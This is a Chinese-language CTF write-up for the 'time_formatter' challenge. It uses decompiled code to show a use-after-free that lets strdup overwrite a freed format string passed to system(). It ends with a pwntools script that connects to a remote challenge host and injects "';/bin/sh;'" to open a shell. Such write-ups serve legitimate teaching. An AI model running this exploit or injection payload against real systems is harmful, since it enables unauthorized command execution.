算是见过的第一道不直接调用malloc之类函数的堆题了,关键的地方有两处,一是在exit前就free了指针:
bool exit(void)
{
long in_FS_OFFSET;
bool res;
byte local_20 [16];
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
free(format);
free(time_zone);
__printf_chk(1,"Are you sure you want to exit (y/N)? ");
fflush(stdout);
fgets((char *)local_20,0x10,stdin);
res = (local_20[0] & 0xdf) == 0x59;
if (res) {
puts("OK, exiting.");
}
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return res;
}
void free(void *ptr)
{
char *pcVar1;
pcVar1 = getenv("DEBUG");
if (pcVar1 != (char *)0x0) {
__fprintf_chk(stderr,1,&DAT_004010d2,ptr);
}
free(ptr);
return;
}
第二点是strdup的调用,这个库函数实现调用了malloc,参考strdup() - what does it do in c?,并且在set_time_format和set_time_zone中均有调用,其中set_time_format中做了输入限制:
bool checkformat(char *str)
{
char cVar1;
size_t sVar2;
long i;
ulong uVar3;
char *charset;
char *charset_copy;
long in_FS_OFFSET;
byte bVar4;
char local_43 [51];
long local_10;
bVar4 = 0;
charset = "%aAbBcCdDeFgGhHIjklmNnNpPrRsStTuUVwWxXyYzZ:-_/0^# ";
charset_copy = local_43;
for (i = 0x33; i != 0; i += -1) {
*charset_copy = *charset;
charset = charset + 1;
charset_copy = charset_copy + 1;
}
local_10 = *(long *)(in_FS_OFFSET + 0x28);
sVar2 = strspn(str,local_43);
uVar3 = 0xffffffffffffffff;
do {
if (uVar3 == 0) break;
uVar3 -= 1;
cVar1 = *str;
str = str + (ulong)bVar4 * -2 + 1;
} while (cVar1 != '\0');
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return sVar2 == ~uVar3 - 1;
}
print_time中有可以利用的函数调用:
undefined8 print_time(undefined8 param_1,undefined8 param_2,undefined8 param_3)
{
char *pcVar1;
long in_FS_OFFSET;
char local_810 [2048];
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
if (format == 0) {
puts("You haven\'t specified a format!");
}
else {
__snprintf_chk(local_810,0x800,1,0x800,"/bin/date -d @%d +\'%s\'",time,format,param_3);
__printf_chk(1,"Your formatted time is: ");
fflush(stdout);
pcVar1 = getenv("DEBUG");
if (pcVar1 != (char *)0x0) {
__fprintf_chk(stderr,1,"Running command: %s\n",local_810);
}
setenv("TZ",time_zone,1);
system(local_810);
}
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return 0;
}
如果将format中的字符串写为';[our command line];'
就能执行任意命令(可以参考bash语法),而format中的字符串做了限制,这时候之前的free和strdup就发挥作用了,先free掉format然后调用strdup输入我们需要执行的指令即可:
from pwn import *
context.log_level = "debug"
# r = process("./time_formatter")
r = remote("111.200.241.244", 54283)
r.sendlineafter(b"> ", b"1")
r.sendline(b"aa")
r.sendlineafter(b"> ", b"5")
r.sendline(b"N")
r.sendlineafter(b"> ", b"3")
r.sendline(b"';/bin/sh;'")
r.sendline(b"4")
r.interactive()
free前需要先strdup一次在堆上分配内存。